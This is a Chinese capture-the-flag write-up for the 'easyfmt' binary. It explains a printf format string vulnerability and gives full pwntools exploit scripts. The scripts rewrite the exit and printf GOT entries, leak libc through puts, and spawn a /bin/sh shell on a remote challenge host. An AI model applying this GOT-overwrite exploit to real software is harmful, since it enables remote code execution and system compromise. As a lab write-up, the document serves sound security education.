攻防世界easyfmt

if ( (unsigned int)CheckIn() == 1 )
  {
    memset(&buf, 0, 0x100uLL);
    write(1, "slogan: ", 9uLL);
    read(0, &buf, 0x100uLL);
    printf(&buf, &buf, argv);
  }

由以上代码可知printf处存在格式化字符串漏洞,但前提是要先过CheckIn()函数的判断LOWORD(v3[0]) = (unsigned __int8)(rand() % 5 + 48);

可知checkin()中生成0-4中任意一个数,猜对了便可以过判断,五分之一的概率很高,这里代码就不写自动尝试的功能了(主要太懒)。

主要思路为猜对后利用格式化字符串漏洞改写exit的got地址变成main函数过checkIn函数判断后的地址,这样就可以让程序反复执行且跳过猜数环节,然后格式化泄露puts的got地址,找到libc偏移,得到system地址,第三次循环改写printf的got变为system地址,第四次循环read时写入/bin/sh,完成getshell。

格式化字符串可以手写构造,但我用pwntool的fmtstr_payload自动构造,会方便点(老懒狗了),语法payload = fmtstr_payload(偏移,{你要改的地址,你想让他变成的地址})

-0000000000000030 var_30          dq 2 dup(?)
-0000000000000020 buf             dq ?
-0000000000000018 var_18          dw ?

看到buf离栈顶0x10,加上64位的五个寄存器,偏移应该为8

验证:

虽然一开始偏移是8,但不代表之后偏移都是8,之后的偏移由于每次call exit函数都会把该指令的下一个指令地址压栈供之后rip读取并返回继续运行,所以每循环一次偏移要加一。这里可以用gdb attach验证。

先让程序进入第二次循环,interactive()让其停下运行

from pwn import *
context(arch = "amd64",os= "linux")#注意标明64位,不然默认32位构造fmtstr_payload
context.log_level = 'debug'
a = process('./easyfmt')
elf = ELF('./easyfmt')
exit_plt = elf.plt['exit']
exit_got = elf.got['exit']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
printf_got = elf.got['printf']
main_addr = 0x400999
a.sendlineafter('enter','1')
payload = fmtstr_payload(8,{exit_got:main_addr})
print(payload)
a.sendlineafter('slogan: ',payload)
a.interactive()

 运行程序,ps -aux找到easyfmt的pid,用gdb attach pid查看

程序停在了第二次循环的read函数中,栈顶第一个为0x4009d0为call read的下一个指令,等read结束就会pop给rip,栈顶第二个是0x4009f8为call exit的下一个,由于被改写,他永远不会被pop出来了,造成了每次循环栈上都多了一个指令地址,导致偏移要加一。

此题就这一处坑,调试后很容易发现原因,以下是完整exp:

from pwn import *
from LibcSearcher import *
context(arch = "amd64",os= "linux")
context.log_level = 'debug'
a = remote("111.200.241.244",56072)
elf = ELF('./easyfmt')
exit_plt = elf.plt['exit']
exit_got = elf.got['exit']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
printf_got = elf.got['printf']
main_addr = 0x400999
a.sendlineafter('enter','1')
payload = fmtstr_payload(8,{exit_got:main_addr})
print(payload)
a.sendlineafter('slogan: ',payload)
payload = b'%10$sbbb' + p64(puts_got)
a.sendafter(b'slogan: \x00',payload)
puts_addr = u64(a.recvuntil(b'bbb')[:-3:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
offset = puts_addr - libc.dump('puts')
system_addr = libc.dump('system') + offset
print(hex(system_addr))
payload = fmtstr_payload(10,{printf_got:system_addr})
a.sendlineafter('slogan: ',payload)
a.sendlineafter('slogan: ','/bin/sh')
a.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值